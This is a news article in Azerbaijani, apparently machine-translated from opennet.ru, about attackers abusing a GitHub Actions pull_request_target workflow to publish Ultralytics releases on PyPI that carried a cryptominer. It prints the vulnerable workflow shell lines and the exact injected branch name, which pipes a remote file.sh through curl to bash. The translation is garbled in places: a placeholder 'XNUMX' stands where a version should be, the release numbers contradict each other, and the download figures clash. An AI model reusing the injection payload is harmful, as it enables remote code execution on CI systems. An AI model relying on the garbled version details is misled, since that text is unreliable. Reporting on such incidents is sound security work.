GitHub Actions işləyicisindəki səhv zərərli Ultralytics buraxılışlarının nəşrinə səbəb oldu

Təcavüzkarlar şəkillərdəki obyektlərin aşkarlanması və şəkillərin seqmentləşdirilməsi kimi kompüter görmə problemlərini həll etmək üçün istifadə edilən Ultralytics Python kitabxana repozitoriyasında GitHub Actions işləyici hüquqları ilə kodu icra edə bildilər. Repozitoriyaya giriş əldə etdikdən sonra təcavüzkarlar PyPI kataloqunda kriptovalyuta mədənçiliyi üçün zərərli dəyişiklikləri ehtiva edən bir neçə yeni Ultralytics buraxılışını dərc etdilər. Son bir ay ərzində Ultralytics kitabxanası PyPI kataloqundan 6.4 milyon dəfədən çox yüklənib.

Repozitoriyaya güzəşt etmək üçün GitHub Actions mexanizmindən istifadə etməklə GitHub-da repozitoriyada müəyyən hərəkətlər yerinə yetirildikdə işləyiciləri avtomatik işə salmaq üçün istifadə edilən ultralytics-action paketində zəiflikdən istifadə edilib. Ultralytics layihəsində həssas işləyici pull_request_target hadisəsinə bağlandı və yeni çəkmə sorğuları gələndə çağırıldı. Xüsusilə, göndərilən pull sorğularındakı kodu formatlaşdırmaq üçün format.yml işləyicisi çağırıldı və action.yml faylının “çalış” bölməsində göstərilən kod yerinə yetirildi, bu kodda əvəzləmə nümunələri olan qabıq əmrləri var idi: git pull origin ${{ github.head_ref || github.ref }} git config --qlobal user.name "${{ inputs.github_username }}" git config --qlobal user.email "${{ inputs.github_email }}"

Beləliklə, çəkmə sorğusunda qeyd olunan Git filialının adı düzgün qaçmadan shell əmrləri ilə əvəz olundu. Maraqlıdır ki, avqust ayında ultralytics-action paketi artıq əks-səda funksiyasında xarici dəyərdən istifadə ilə bağlı oxşar zəifliyi aradan qaldırıb: echo “github.event.pull_request.head.ref: ${{ github.event.pull_request .head.ref }} »

GitHub Actions işləyicisi kontekstində kodlarının icrasını təşkil etmək üçün təcavüzkarlar ultralytics repozitoriyasına filial adı kimi aşağıdakıları göstərərək çəkmə sorğusu göndərdilər: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Müvafiq olaraq, çəkmə sorğusu alındıqda, təcavüzkar tərəfindən müəyyən edilmiş “$(…)” sətri koda daxil edildi və bu, işləyici sonradan işə salındıqda “curl -sSfL raw.githubusercontent” kodunun icrasına səbəb oldu. com/…/file.sh | bash".

 GitHub Actions işləyicisindəki səhv zərərli Ultralytics buraxılışlarının nəşrinə səbəb oldu

GitHub Fəaliyyətləri kontekstində işləyən kod depoya giriş nişanı və digər həssas məlumatları ələ keçirmək üçün istifadə edilə bilər. Təcavüzkarların GitHub Actions-da kodlarını yerinə yetirmək qabiliyyətinə malik olan bir buraxılış yaratmağı dəqiq necə bacardıqları hələ aydın deyil ki, bunun publish.yml işləyicisindəki dəyişiklik sayəsində mümkün olduğu güman edilir (təcavüzkarlar təsdiqləməni aradan qaldırdılar; PyPI-də buraxılışları dərc etməyə icazə verilən hesab) və məlumatlarınızı buraxılışa daxil etmək üçün GitHub Actions qurmaq keşini zəhərləyən texnologiyadan istifadə.

Ultralytics 8.3.41-in ilk zərərli versiyası hücumçular tərəfindən 4 dekabr tarixində saat 23:51-də (MSK) PyPI-da dərc edilmiş və ertəsi gün saat 12:15-də silinmişdir. Saat 15:47-də başqa bir versiya olan 8.3.42 dərc edilmiş və saat 16:47-də silinmişdir. Beləliklə, zərərli versiyalar təxminən 13 saat ərzində yükləmək üçün mövcud olmuşdur (PyPI gündə ultralytics kitabxanasının təxminən 250 yüklənməsini qeyd edir). 8.3.41 və 8.3.42 versiyalarında xarici bir yerdən yüklənmiş kod var idi. server Kriptovalyuta mayninqi üçün XMRig komponenti.

Layihə tərtibatçıları problemi həll etdilər və 8.3.43 və 8.3.44 düzəldici buraxılışlarını yaratdılar, lakin iki gün sonra başqa bir hücum həyata keçirildi, bu müddət ərzində təcavüzkarlar bu gün saat 04:41 və 05:27-də iki əlavə zərərli reliz dərc etdilər (MSK) - 8.3.45 8.3.46 və 8.3.44, bunlara digər mədən kodları daxildir. İstintaqın sonuna qədər istifadəçilərə yeni versiyaların quraşdırılmasını dayandırmaq və XNUMX buraxılışını asılılıq kimi düzəltmək tövsiyə olunur.

Mənbə: opennet.ru

Добавить комментарий